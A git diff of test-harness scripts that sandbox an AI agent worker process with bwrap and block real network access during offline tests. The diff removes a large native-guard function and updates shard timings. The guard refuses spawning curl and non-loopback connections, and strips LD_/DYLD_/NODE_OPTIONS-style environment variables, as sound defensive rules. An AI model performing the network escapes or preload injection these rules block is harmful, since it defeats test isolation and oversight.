- timer=setInterval(()=>{inspect();if(disposing)finish();},20);timer.unref(); - const encoded=JSON.stringify(argv); - const launchEnv:Record={...(options.env??process.env),...(outerAudit?.env??sharedAudit?.env??{})};delete launchEnv.BRAIN_NATIVE_RECEIPT; - const managedInspectionPin=JSON.stringify([...nativeManagedCandidateDirectories(command)]); - const boundary={argv,env:launchEnv,maskBinds:Object.freeze([...mounts]),unknown:true as const,forSynchronousSpawn():GuardedPlan{if(!launchReady)return boundary;finish();return nativeUnknownBoundary(command,{...options,synchronous:true},workerUid,preserveProductPlan);},nativeExecuted:()=>false,afterSpawn(pid:number){sharedAudit?.afterSpawn(pid);try{launchReady?.afterSpawn(pid,()=>sharedAudit?.beforeLaunch());}catch{refuse("restriction cannot be enforced");}},beforeLaunch(){if(JSON.stringify(nativeTripwireMaskPaths(options))!==JSON.stringify(masks))refuse("runtime mask candidates changed before launch");if(JSON.stringify([...nativeManagedCandidateDirectories(command)])!==managedInspectionPin)refuse("managed fixture inspection changed after planning");sharedAudit?.beforeLaunch();if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){finish();}}; - const check=boundary.beforeLaunch;boundary.beforeLaunch=()=>guardTiming("launch-validation",()=>fixtureWalk(()=>{check(); - // Reuse during classification cannot cover a write later in that walk. - // Check the complete live stage again at the actual execution edge. - fixtureWalk(()=>{if(JSON.stringify([...nativeManagedCandidateDirectories(command)])!==managedInspectionPin)refuse("managed fixture inspection changed before execution");},true); - },true));guardedPlans.add(argv);guardedBoundaries.set(argv,boundary);return boundary; - }catch(error){cleanup();throw error;} -} -/** Inspect the concrete existing worker bootstrap, including its exec payload. */ -export function nativeWorkerBoundary(env: Record): { native: boolean; env: Record; dispose(): void; beforeLaunch(): void; afterSpawn?(pid:number):void; observe?(pid:number):void; nativeExecuted?():boolean;unknown?:boolean } { - return guardTiming("plan-inspection",()=>fixtureWalk(()=>nativeWorkerBoundaryInWalk(env))); -} -function nativeWorkerBoundaryInWalk(env: Record): { native: boolean; env: Record; dispose(): void; beforeLaunch(): void; afterSpawn?(pid:number):void; observe?(pid:number):void; nativeExecuted?():boolean;unknown?:boolean } { - const unchanged = { native: false, env, dispose() {}, beforeLaunch() {} }; - if (!env.BRAIN_WORKER_LAUNCH) return unchanged; - let launch: { command?: string[]; argv?: string[]; env?: Record; brainPath?: string; hostHome?: string } | null; - try { launch = JSON.parse(env.BRAIN_WORKER_LAUNCH); } catch { refuse("invalid worker launch metadata"); } - if (!launch || !Array.isArray(launch.argv) || !launch.argv.length || !launch.argv.every(value => typeof value === "string") || - !Array.isArray(launch.command) || !launch.command.length || !launch.command.every(value => typeof value === "string")) refuse("worker command and argv are required"); - const originalLaunch=structuredClone(launch) as unknown as import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch; - const argv = launch.argv; - const context = { cwd: launch.brainPath, env: launch.env }; - let workerArgv = argv; - let supervisor: { argv: string[] } | undefined; - if (argv.length === 6 && argv[1] === "-I" && argv[2] === "-S" && argv[3] === "-c") { - // This concrete launcher hands off to another UID; tracing its Python - // coordinator cannot observe the broker's independently launched payload. - try { - const { WORKER_IDENTITY_SUPERVISOR } = createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-identity-program.ts") as { WORKER_IDENTITY_SUPERVISOR: string }; - if (argv[4] !== WORKER_IDENTITY_SUPERVISOR || realpathSync(argv[0]!) !== realpathSync("/usr/bin/python3")) refuse("unrecognized native identity launcher"); - supervisor = JSON.parse(argv[5]!); - } catch { refuse("invalid native identity launcher"); } - if (!supervisor || !Array.isArray(supervisor.argv) || !supervisor.argv.every(value => typeof value === "string")) refuse("invalid native identity launcher"); - workerArgv = supervisor.argv; - } - const command = launch.command!; - const probe=fixtureProbeContext.getStore(),probeStorage=probe?.storage as ManagedFixtureStorage|undefined; - const probeOnly=Boolean(probeStorage&&fixtureKeepers.get(probeStorage.namespacePid)?.metadataOnly),qualification=guardIdentityQualification.getStore(); - if(probeOnly&&(!fixtureProbeCommand(command,probeStorage!.allowanceBytes)||nativeBwrapIndex(workerArgv)<0||!nativeManagedCandidateDirectories(workerArgv).has(join(probeStorage!.mount,"merged"))||JSON.stringify(workerArgv.slice(-command.length))!==JSON.stringify(command)))refuse("metadata-only probe launch chain differs"); - const classes=[nativeWorkerClassification(command,context),nativeWorkerClassification(workerArgv,context)]; - if((probeOnly||qualification)&&classes.includes("native"))refuse("metadata-only probe cannot admit a native runtime"); - if(!classes.includes("native")){ - if(!classes.includes("unknown")&&!probeOnly&&!qualification)return unchanged; - const identity=supervisor&&launch.brainPath?(createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-launcher.ts")).verifiedWorkerIdentity(launch.brainPath):undefined; - if(probeOnly||qualification)metadataProbeMaskPlans.add(workerArgv); - const restricted=nativeUnknownBoundary(workerArgv,context,qualification?.uid??identity?.workerUid); - if(supervisor){supervisor.argv=restricted.argv;argv[5]=JSON.stringify(supervisor);launch.argv=argv;}else launch.argv=restricted.argv; - if(launch.env)delete launch.env.BRAIN_NATIVE_RECEIPT; - return {...restricted,native:false,afterSpawn(pid:number){restricted.afterSpawn(pid);const scope=scriptedRoute.getStore();if(scope)recordFixtureWorkerSpawn(pid,originalLaunch,scope,restricted);},env:{...env,...Object.fromEntries(Object.entries(restricted.env).filter(([key])=>key==="BRAIN_NATIVE_EXEC_AUDIT")),BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}}; - } - try { argv[0] = resolveExecutable(argv[0]!, context); workerArgv[0] = resolveExecutable(workerArgv[0]!, context); } - catch { refuse("worker executable could not be resolved"); } - const tail = workerArgv.slice(-command.length); - let agrees = false; - try { agrees = tail.length === command.length && resolveExecutable(tail[0]!, context) === resolveExecutable(command[0]!, context) - && tail.slice(1).every((value, index) => value === command[index + 1]); } catch { /* Unknown executable refuses. */ } - if (!agrees) refuse("worker command and executable argv disagree"); - const bwrap = nativeBwrapIndex(workerArgv); - if (bwrap < 0) refuse("native worker lacks the OS launcher"); - // Even ordinary test workers use a private network and a single bridge. - // Do not rely on SDK options or the production profile to establish this. - const socket = launch.env?.ANTHROPIC_UNIX_SOCKET; - const route = scriptedRoute.getStore(); - if (!route) refuse("scripted service authority was not registered"); - const admitted = socket ? admittedRelay(workerArgv, socket) : undefined; - const ownedOrigin = admitted?.origin; - if (socket && !ownedOrigin) refuse("pre-existing native relay is not guard-owned"); - if (ownedOrigin && (!route || normalizedOrigin(ownedOrigin) !== normalizedOrigin(route.origin))) refuse("native relay did not match scripted authority"); - try{route.revalidate?.();}catch{refuse("native fixture turn data declaration unavailable");} - qualify(); - workerArgv[bwrap] = bwrapExecutable; - const workerUid=supervisor&&launch.brainPath?(createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-launcher.ts") as typeof import("../packages/ui-sdk/src/server/worker-launcher")).verifiedWorkerIdentity(launch.brainPath)?.workerUid:undefined; - const bridge = startNativeTestRelay(route.origin,workerUid); - const directTunnel=!ownedOrigin?startNativeTurnProxyTunnel(route.origin,bridge.directory):undefined; - let executablePin:ReturnType|undefined; - let title:ReturnType;let forgetTitle:undefined|(()=>void); - const disposeBridge=()=>{executablePin?.dispose();forgetTitle?.();title?.dispose();directTunnel?.dispose();bridge.dispose();}; - try { - title=prepareNativeTitleCollector(launch.env??{},route,bridge.directory); - if(title)forgetTitle=rememberRelay(title.socket,route.origin,()=>route.isLive()); - const tools = fixtureToolView(launch.env ?? {}, launch.brainPath ?? ROOT, launch.hostHome ?? launch.env?.HOME); - assertNativeMountSockets(tools.mounts, route.origin); - for (let i = bwrap + 1; i < workerArgv.indexOf("--", bwrap); i++) { - if (workerArgv[i] === "--ro-bind" && workerArgv[i + 1] === "/" && workerArgv[i + 2] === "/") workerArgv.splice(i--, 3); - else if (workerArgv[i] === "--ro-bind" && ["/etc/alternatives", "/etc/ssl/certs"].includes(workerArgv[i + 2]!)) workerArgv.splice(i--, 3); - else if (workerArgv[i] === "--ro-bind" && [...nativeDistributionConfigNames,...nativeSyntheticSystemNames].some(name=>workerArgv[i+2]===`/etc/${name}`&&existsSync(`/etc/${name}`)&&workerArgv[i+1]===realpathSync(`/etc/${name}`))) workerArgv.splice(i--,3); - else if (workerArgv[i] === "--setenv" && !Object.hasOwn(nativeProductEnvironment({[workerArgv[i+1]!]:workerArgv[i+2]!}),workerArgv[i+1]!)) workerArgv.splice(i--, 3); - } - workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", "--unshare-pid"); - const pinned = { BRAIN_TEST_EFFECT_SOCKET:ownedOrigin?socket!:"/tmp/native-relay/relay.sock", ...nativeDirectTransportEnvironment(launch.env??{},Boolean(ownedOrigin)),...(ownedOrigin?{ANTHROPIC_UNIX_SOCKET:socket!}:{}), - PATH: tools.path, - ...(["0", "1"].includes(launch.env?.USE_BUILTIN_RIPGREP ?? "") ? { USE_BUILTIN_RIPGREP: launch.env!.USE_BUILTIN_RIPGREP! } : {}), - ...(ownedOrigin ? relayCredentialPlaceholders(launch.env ?? {}) : syntheticCredentials(launch.env ?? {})) }; - const readOnlyRemounts=deferNativeReadOnlyRemounts(workerArgv,bwrap); - const separator = workerArgv.indexOf("--", bwrap); - // bwrap applies mounts in order. Install every guard-owned input after - // the launcher's tmpfs/masks, so no later covering mount hides it. - workerArgv.splice(separator, 0, ...systemMounts(), ...testRuntimeMounts(), ...tools.mounts, - "--ro-bind", process.execPath, process.execPath, "--ro-bind", compileSocketPolicy(), compileSocketPolicy(), - "--ro-bind", bridge.directory, "/tmp/native-relay", - ...bridge.configurationMounts,...nativeFixtureFileMounts(bridge.directory), - ...(directTunnel?["--dir","/run/brain-egress","--ro-bind",directTunnel.socket,WORKER_TURN_PROXY]:[]), - ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); - const checkpoint=nativeCheckpointRole(launch,route);assertCheckpointBind(workerArgv,checkpoint); - const keeper=workerKeeper(workerArgv,bwrap); - try { stageWorkerFixtureBinds(workerArgv,bwrap,route,bridge.directory,keeper,checkpoint); } - catch(error) { if (String(error).includes("Offline native Claude refused before launch:")) throw error; refuse("worker fixture provenance is unavailable"); } - const payloadIndex = workerArgv.indexOf("--", bwrap) + 1; - const nativePayload = workerArgv.splice(payloadIndex); - const turnProxy=admittedRelay(workerArgv,WORKER_TURN_PROXY); - let protectedPayload:string[]; - if(directTunnel){ - protectedPayload=nativeUnrelayedWorkerPayloadCommand(nativePayload,argv=>nativeSocketCommand(argv,join(bridge.directory,"relay.sock"),"/tmp/native-relay/relay.sock",{source:directTunnel.socket,allowed:WORKER_TURN_PROXY},title)); - }else protectedPayload=nativeWorkerPayloadCommand(nativePayload,command,(argv,trusted)=>nativeSocketCommand(argv, admitted!.path, socket!,trusted&&turnProxy?{source:turnProxy.path,allowed:WORKER_TURN_PROXY}:undefined,title)); - if(title){const gates=nativeWorkerGatePrefixLength(protectedPayload);if(gates===undefined)refuse("unrecognized native worker start gate");protectedPayload=[...protectedPayload.slice(0,gates),...title.wrap(protectedPayload.slice(gates))];} - workerArgv.push(...nativeDiagnosticWorkerPayload(protectedPayload,Boolean(supervisor&&process.argv.some(value=>value.startsWith("--native-identity-startup-audit="))))); - const nativeMounts = workerArgv.slice(bwrap + 1, workerArgv.indexOf("--", bwrap)); - const beforeLaunch = () => { - try{route.revalidate?.();}catch{refuse("native fixture turn data declaration unavailable");} - try { keeper?.refresh();assertCheckpointBind(nativeMounts,nativeCheckpointRole(launch,route)); assertWorkerFixtureBinds(nativeMounts, route, bridge.directory,keeper,checkpoint); assertNativeMountSockets(nativeMounts, route.origin,keeper,route); } - catch(error) { if (String(error).includes("Offline native Claude refused before launch:")) throw error; refuse("worker fixture provenance is unavailable"); } - }; - beforeLaunch(); - const expected = expectedNativeExec(command[0]!, command.slice(1), context); - // Only a fully admitted native worker that enters its keeper namespace - // needs an executable pin. Unknown launches retain their complete masks. - if(keeper&&!supervisor&&workerArgv.slice(0,bwrap).some(value=>{try{return resolveExecutable(value,context)===realpathSync("/usr/bin/nsenter");}catch{return false;}})){ - const selected=[...new Set(expected.map(path=>realpathSync(path)))]; - if(selected.length!==1)refuse("native executable pin requires one selected runtime"); - const target=selected[0]!; - if(nativeTripwireMaskPaths(context).some(path=>path!==target&&realpathSync(path)===target))refuse("native executable pin cannot expose another runtime spelling"); - const live=()=>guardTiming("executable-transfer",()=>fixtureWalk(()=>{if(!route.isLive())throw Error("native executable scripted authority expired");route.revalidate?.();keeper.refresh();},true)); - try{executablePin=pinNativeWorkerExecutable(target,live,reason=>refuse(reason));} - catch(error){return refuse(error instanceof Error?error.message:"native executable pin unavailable");} - workerArgv.splice(workerArgv.indexOf("--",bwrap),0,...executablePin.mount); - } - let audited: ReturnType; - if (supervisor) { - const payload = workerArgv.splice(workerArgv.indexOf("--", bwrap) + 1); - // The tracer runs after the UID handoff, outside the native PID and mount - // view. The inner boundary preserves fixture writable mounts but hides - // the audit storage and drops namespace capabilities from descendants. - const { verifiedWorkerIdentity } = createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-launcher.ts") as typeof import("../packages/ui-sdk/src/server/worker-launcher"); - const identity = launch.brainPath && verifiedWorkerIdentity(launch.brainPath); - if (!identity || identity.workerUid === nativeKernelIdentity().uid) refuse("native worker audit lacks a verified separate UID"); - audited = auditNativeLaunch(nativeSeparateUidAuditCommand(bwrapExecutable,payload,"AUDIT_STORAGE"), expected, disposeBridge, identity.workerUid); - const log = audited.argv[audited.argv.indexOf("-o") + 1]!, directory = dirname(log); - audited.argv[audited.argv.indexOf("AUDIT_STORAGE")] = directory; - // Only the outer tracer sees this mount; the native process sees tmpfs. - chmodSync(bridge.directory, 0o755); chmodSync(join(bridge.directory, "relay.sock"), 0o666); - workerArgv.splice(workerArgv.indexOf("--", bwrap), 0, "--bind", directory, directory); - workerArgv.push(...audited.argv); - workerArgv.splice(workerArgv.indexOf("--",bwrap),0,...readOnlyRemounts); - argv[5] = JSON.stringify(supervisor); - launch.argv = argv; - } else { - workerArgv.splice(workerArgv.indexOf("--",bwrap),0,...readOnlyRemounts); - audited = auditNativeLaunch(executablePin?executablePin.wrap(workerArgv):workerArgv, expected, disposeBridge); - launch.argv = audited.argv; - } - const encoded=JSON.stringify(launch); - nativeReceipt({kind:"native-offline-worker-plan",head:nativeTestHead(), - bootstrapArgc:launch.argv!.length,bootstrapArgvBytes:Buffer.byteLength(JSON.stringify(launch.argv)), - sandboxArgc:workerArgv.length,sandboxArgvBytes:Buffer.byteLength(JSON.stringify(workerArgv)),metadataBytes:Buffer.byteLength(encoded)}); - const finalBeforeLaunch=()=>guardTiming("launch-validation",()=>fixtureWalk(()=>{beforeLaunch();audited.beforeLaunch();try{title?.validate();executablePin?.beforeLaunch();}catch(error){refuse(error instanceof Error?error.message:"native executable pin unavailable");} - // This complete check follows the walk, independently of its reused result. - fixtureWalk(()=>keeper?.refresh(),true); - },true)); - return { native: true, env: { ...env, BRAIN_WORKER_LAUNCH: encoded }, dispose: audited.dispose, beforeLaunch:finalBeforeLaunch,afterSpawn(pid){audited.afterSpawn(pid);executablePin?.afterSpawn(pid);recordFixtureWorkerSpawn(pid,originalLaunch,route);},nativeExecuted:audited.nativeExecuted,observe(pid){observeNativeFixtureRtkSpawn(pid,originalLaunch,expected,audited.liveExecs);} }; - } catch (error) { disposeBridge(); throw error; } -} diff --git a/scripts/test-network-child-preload.ts b/scripts/test-network-child-preload.ts index 5f78d3d42f..2f15b9613e 100644 --- a/scripts/test-network-child-preload.ts +++ b/scripts/test-network-child-preload.ts @@ -1,3 +1,5 @@ +import {requireOfflineRunner} from "./offline-runner/qualification"; +requireOfflineRunner(); import { installNetworkGuard } from "./test-network-guard"; const guard = installNetworkGuard(); diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 4dd8289f1c..9a8468f7cb 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -1,9 +1,8 @@ -import {nativeAuditEnvironment} from "./native-shared-audit"; -import { inheritNativeReceipts, withoutNativeReceipts, nativeReceipt, flushNativeReceipts } from "./native-test-receipts.ts"; +import {spawnEntry} from "./offline-runner/pipes"; +import {runtimeMaskCommand} from "./offline-runner/masks"; +import {requireOfflineRunner,rootlessTestCommand} from "./offline-runner/qualification"; /** Test-only subprocess and transport safeguards; never imported by a published package. */ -import { nativeGuardedBoundary,nativeWorkerClassification,nativeUnknownBoundary,prepareNativeBootstrapDiagnostics, recordNativeGuardChild, isGuardedNativePlan, guardNativeHttpListen, guardNativeHttpEvent, guardNativeRelayServer, assertNativeRelayDestination, assertNativeRelaySocket, assertNativeRelayUnix, assertNoNativeRefusals, nativeIsolationFailed, nativeTestHead, isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; import { basename, join } from "node:path"; -import { Server as HttpServer } from "node:http"; import { isIP, Socket } from "node:net"; import { inheritWorkspaceLease } from "./workspace-lease.mjs"; @@ -13,7 +12,9 @@ const socketLoopback = (host: string) => host === "localhost" || host === "::1" let installed: { assertNoEscapes(): void } | undefined; /** Test-owned repositories must not acquire detached writers behind a fixture. */ -function testGitEnvironment(env: Record): Record { +function testGitEnvironment(input: Record): Record { + const env={...input}; + for(const key of Object.keys(env))if(/^(?:LD_|DYLD_|PYTHON)|^(?:NODE_OPTIONS|BUN_OPTIONS|BASH_ENV|ENV)$/.test(key))delete env[key]; const count = Number(env.GIT_CONFIG_COUNT ?? 0); if (!Number.isSafeInteger(count) || count < 0 || count > 2_147_483_645) { throw new Error("Test Git environment requires a valid GIT_CONFIG_COUNT"); @@ -31,18 +32,8 @@ function testGitEnvironment(env: Record): Record Reflect.apply(nativeHttpEmit, this, args)); - } as typeof nativeHttpEmit; - const nativeServe = Bun.serve; - Bun.serve = ((options: any) => guardNativeRelayServer(options, value => nativeServe(value))) as typeof Bun.serve; const escapes: string[] = []; let reported = 0; const message = () => `Offline test guard: attempted real network access\n${escapes.join("\n")}`; @@ -51,7 +42,6 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { throw new Error(message()); } function permitted(url: URL): void { - assertNativeRelayDestination(url); if (!["http:", "https:"].includes(url.protocol) || !LOOPBACK.has(url.hostname)) { refuse(`fetch ${url.href}`); } @@ -74,10 +64,8 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { }; // Unix paths and adoption/TLS upgrades of an existing socket open no // new TCP destination. SNI on an adopted socket is not its address. - if (options.path) assertNativeRelayUnix(options.path); if (!options.path && !options.socket && options.fd == null) { const host = options.host ?? "localhost"; - assertNativeRelaySocket(host, options.port); if (!socketLoopback(host)) refuse(`socket.connect ${host}:${options.port}`); } return Reflect.apply(nativeSocketConnect, this, args); @@ -87,8 +75,6 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { Object.defineProperty(Bun, "connect", { ...Object.getOwnPropertyDescriptor(Bun, "connect"), value: async function offlineBunConnect(options: Bun.TCPSocketConnectOptions | Bun.UnixSocketOptions) { - if ("hostname" in options) assertNativeRelaySocket(options.hostname, options.port); - else if ("unix" in options) assertNativeRelayUnix(options.unix); if ("hostname" in options && !socketLoopback(options.hostname)) { refuse(`Bun.connect ${options.hostname}:${options.port}`); } @@ -106,7 +92,6 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { // A Unix socket never leaves the host; `new Request` drops Bun's `unix` // option, so every hop passes it on or a socket request becomes TCP. const unix = (init as RequestInit & { unix?: string } | undefined)?.unix; - if (unix) assertNativeRelayUnix(unix); for (let hop = 0; ; hop++) { const replay = request.clone(); let replayBody = replay.body; @@ -154,14 +139,20 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { const native = Bun[key]; Bun[key] = ((...args: unknown[]) => { const first = args[0] as string[] | { cmd: string[] }; - const cmd = Array.isArray(first) ? first : first.cmd; + let cmd = Array.isArray(first) ? first : first.cmd; const executable = String(cmd[0]); + const launchOptions=(Array.isArray(first)?args[1]:first) as {env?:Record}|undefined; + const masked=runtimeMaskCommand(cmd,launchOptions?.env??process.env); + if(masked.length!==cmd.length){cmd=masked;args[0]=Array.isArray(first)?cmd:{...first,cmd};} if (basename(executable) === "curl") refuse(`${key} ${cmd.join(" ")}`); if (basename(executable) === "bun" || executable === process.execPath) { + const options=(Array.isArray(first)?args[1]:first) as {cwd?:string}|undefined; + cmd=rootlessTestCommand(cmd,options?.cwd??process.cwd()); + args[0]=Array.isArray(first)?cmd:{...first,cmd}; // Bun treats `bun --preload FILE test` as a package script. Keep the // builtin/subcommand first so child tests remain child tests. const index = ["test", "run"].includes(cmd[1] ?? "") ? 2 : 1; - const guarded = [...cmd.slice(0, index), "--preload", childPreload, ...cmd.slice(index)]; + const guarded = [...cmd.slice(0, index), "--no-env-file", "--preload", childPreload, ...cmd.slice(index)]; args[0] = Array.isArray(first) ? guarded : { ...first, cmd: guarded }; } // Resource ownership follows children even when a test replaces env or @@ -171,63 +162,21 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { // actual output owner in its ancestor, never pass its writable lock fd // into a pipe-only boundary. This is test coordination, not a worker flag. const pipeOnly = /\/ui-sdk\/(src|dist)\/server\/worker-entry\.(ts|js)$/.test(cmd[1] ?? ""); - const options = (Array.isArray(first) ? args[1] ?? {} : args[0]) as { cwd?: string; env?: Record }; + const options = (Array.isArray(first) ? args[1] ?? {} : args[0]) as { env?: Record }; // Fixture helpers often replace env completely, including provider-history // probes. Carry test Git policy through those children as well as shells. - let boundary: ReturnType = nativeGuardedBoundary(cmd); - if(key==="spawnSync"&&boundary?.forSynchronousSpawn){boundary=boundary.forSynchronousSpawn();args[0]=Array.isArray(first)?boundary.argv:{...first,cmd:boundary.argv};} - // Runtime provenance also covers wrapper/interpreter arguments; - // non-file status descriptors are excluded before resolving identity. - if (!boundary&&isNativeClaude(executable, cmd.slice(1), options)) { - if (key === "spawnSync") refuseNativeClaude(executable, cmd.slice(1), options); - boundary = nativeClaudeBoundary(executable, cmd.slice(1), options); - args[0] = Array.isArray(first) ? boundary.argv : { ...first, cmd: boundary.argv }; - } - const workerBoundary = boundary ? undefined : nativeWorkerBoundary(testGitEnvironment({ ...options.env ?? process.env, - ...(options.env?.BRAIN_NATIVE_TEST_HEAD === undefined ? { BRAIN_NATIVE_TEST_HEAD: nativeTestHead() } : {}), - ...(!Object.hasOwn(options.env ?? {},"GITHUB_ACTIONS") && process.env.GITHUB_ACTIONS === "true" ? { GITHUB_ACTIONS: "true", ...(!Object.hasOwn(options.env ?? {},"RUNNER_ENVIRONMENT")?{RUNNER_ENVIRONMENT:process.env.RUNNER_ENVIRONMENT}:{}) } : {}) })); - const unknownBoundary=!boundary&&!workerBoundary?.unknown&&!options.env?.BRAIN_WORKER_LAUNCH&&nativeWorkerClassification(cmd,options)==="unknown"?nativeUnknownBoundary((Array.isArray(args[0])?args[0]:(args[0] as {cmd:string[]}).cmd) as string[],{...options,synchronous:key==="spawnSync",env:testGitEnvironment(options.env??process.env)}):undefined; - if(unknownBoundary)args[0]=Array.isArray(first)?unknownBoundary.argv:{...args[0] as object,cmd:unknownBoundary.argv}; - let inherited = inheritWorkspaceLease({ ...options, env: boundary?.env ?? unknownBoundary?.env ?? workerBoundary!.env }, defaultStderr, pipeOnly); - if(!boundary&&!unknownBoundary&&!workerBoundary?.unknown&&!pipeOnly&&!isGuardedNativePlan(cmd)){ - const actual=Array.isArray(args[0])?args[0] as string[]:(args[0] as {cmd:string[]}).cmd; - const channel=inheritNativeReceipts(inherited,actual,defaultStderr);inherited=channel.options; - args[0]=Array.isArray(first)?channel.argv:{...args[0] as object,cmd:channel.argv}; - }else inherited=withoutNativeReceipts(inherited); - inherited={...inherited,env:nativeAuditEnvironment(inherited.env)}; - const bootstrap = key === "spawn" && pipeOnly && Boolean(options.env?.BRAIN_WORKER_LAUNCH); - // A synchronous non-native probe may read its FIFO without awaiting exited. - // Only an admitted native plan owns the asynchronous diagnostic writer. - const bootstrapDiagnostics = bootstrap && (boundary !== undefined || workerBoundary?.native === true) ? prepareNativeBootstrapDiagnostics(inherited) : undefined; - if (bootstrapDiagnostics) inherited=bootstrapDiagnostics.options as typeof inherited; + const inherited = inheritWorkspaceLease({ ...options, env: testGitEnvironment(options.env ?? process.env) }, defaultStderr, pipeOnly); if (Array.isArray(first)) args[1] = inherited; - else args[0] = { ...inherited, cmd: (args[0] as { cmd: string[] }).cmd }; - try { - boundary?.beforeLaunch();unknownBoundary?.beforeLaunch(); workerBoundary?.beforeLaunch(); - const result = Reflect.apply(native, Bun, args); - boundary?.afterSpawn?.(result.pid);unknownBoundary?.afterSpawn?.(result.pid);workerBoundary?.afterSpawn?.(result.pid); - if (key === "spawn") { - const exited=result.exited,evidence=bootstrapDiagnostics?.attach(result); - const report=recordNativeGuardChild(result,bootstrap,evidence,boundary?.nativeExecuted??workerBoundary?.nativeExecuted); - workerBoundary?.observe?.(result.pid); - const completed=exited.then(async(code:number)=>{ - await evidence?.drained;await report; - boundary?.dispose();unknownBoundary?.dispose();workerBoundary?.dispose();flushNativeReceipts();return code; - }); - // Callers can synchronously read a protocol FIFO after this promise. - // No guard-owned writer or deferred receipt remains when it resolves. - Object.defineProperty(result,"exited",{value:completed,configurable:true}); - } - else {boundary?.dispose();unknownBoundary?.dispose();workerBoundary?.dispose();flushNativeReceipts();} - return result; - } catch (error) { bootstrapDiagnostics?.dispose(); boundary?.dispose();unknownBoundary?.dispose(); workerBoundary?.dispose(); throw error; } + else args[0] = inherited; + const result = (/(?:^|\/)(?:entry|bun)$/.test(String(cmd[0])) || String(cmd[0]) === process.execPath || cmd.includes("/run/brain-test/entry")) + ? spawnEntry(native, Bun, key === "spawnSync", cmd, (Array.isArray(first) ? args[1] : args[0]) as Record) + : Reflect.apply(native, Bun, args); + return result; }) as typeof Bun.spawn & typeof Bun.spawnSync; } installed = { assertNoEscapes() { - flushNativeReceipts(); - assertNoNativeRefusals(); if (escapes.length > reported) { reported = escapes.length; throw new Error(message()); @@ -237,8 +186,8 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { // Ordinary Bun children have no test hooks. A caught error, including one // followed by process.exit(0), must still make that process unsuccessful. process.on("exit", () => { - if (escapes.length || nativeIsolationFailed()) { - if(escapes.length)console.error(message());else nativeReceipt({kind:"native-offline-invocation-failed",head:nativeTestHead(),success:false,reason:"native isolation failed; see native-offline-* receipts"}); + if (escapes.length || process.env.BRAIN_TEST_REFUSED_SELECTION === "1") { + console.error(message()); process.exit(1); } }); diff --git a/scripts/test-network-preload.ts b/scripts/test-network-preload.ts index eb4d0a88b5..6554516ae3 100644 --- a/scripts/test-network-preload.ts +++ b/scripts/test-network-preload.ts @@ -1,3 +1,6 @@ +import {requireOfflineRunner,assertRootlessDiscovery} from "./offline-runner/qualification"; +requireOfflineRunner(); +assertRootlessDiscovery(); import { afterAll, afterEach } from "bun:test"; import { cleanupCliUtilities, setCliUtilityRoot } from "../packages/core/tests/cli-harness"; import { installNetworkGuard } from "./test-network-guard"; diff --git a/scripts/test-shard-costs.json b/scripts/test-shard-costs.json index 6d0b8b69ee..0488c4dfcc 100644 --- a/scripts/test-shard-costs.json +++ b/scripts/test-shard-costs.json @@ -40,11 +40,11 @@ "packages/core/tests/chunk-fts.test.ts": 4.213, "packages/core/tests/chunker-version-readonly.test.ts": 0.686, "packages/core/tests/chunker.test.ts": 3.255, - "packages/core/tests/claude-runner-binary.test.ts": 2.405, + "packages/core/tests/claude-runner-binary.test.ts": 0.576, "packages/core/tests/claude-runner-default-native.test.ts": 1.111, "packages/core/tests/claude-runner-protocol.test.ts": 0.175, "packages/core/tests/claude-runner-rejected-token.test.ts": 2.16, - "packages/core/tests/claude-runner-subscription.test.ts": 31.918, + "packages/core/tests/claude-runner-subscription.test.ts": 4.09, "packages/core/tests/cli-args.test.ts": 0.1, "packages/core/tests/cli-contract.test.ts": 23.371, "packages/core/tests/cli-gemini-content-exclude.test.ts": 2.196, @@ -329,7 +329,7 @@ "packages/ui-backend-claude/tests/activity-tool.test.ts": 0.218, "packages/ui-backend-claude/tests/allowlist-enforcement.test.ts": 0.406, "packages/ui-backend-claude/tests/api-failure.test.ts": 1.338, - "packages/ui-backend-claude/tests/ask-tool-request-id.test.ts": 2.504, + "packages/ui-backend-claude/tests/ask-tool-request-id.test.ts": 0.453, "packages/ui-backend-claude/tests/autonomous-envelope.test.ts": 0.299, "packages/ui-backend-claude/tests/autonomous-prompt.test.ts": 2.384, "packages/ui-backend-claude/tests/autonomous-yield.test.ts": 0.307, @@ -352,7 +352,7 @@ "packages/ui-backend-claude/tests/env.test.ts": 0.1, "packages/ui-backend-claude/tests/failed-launch-cleanup.test.ts": 0.1, "packages/ui-backend-claude/tests/fixtures/host-storage-isolation.test.ts": 0.1, - "packages/ui-backend-claude/tests/follow-up-delivery.test.ts": 10.282, + "packages/ui-backend-claude/tests/follow-up-delivery.test.ts": 2.291, "packages/ui-backend-claude/tests/follow-up.test.ts": 0.139, "packages/ui-backend-claude/tests/github-write-availability.test.ts": 0.1, "packages/ui-backend-claude/tests/history-api-failure.test.ts": 0.1, @@ -360,7 +360,7 @@ "packages/ui-backend-claude/tests/history.test.ts": 0.1, "packages/ui-backend-claude/tests/host-exec.test.ts": 0.14, "packages/ui-backend-claude/tests/host-oauth.test.ts": 3.082, - "packages/ui-backend-claude/tests/host-relay-native.test.ts": 4.348, + "packages/ui-backend-claude/tests/host-relay-native.test.ts": 4.097, 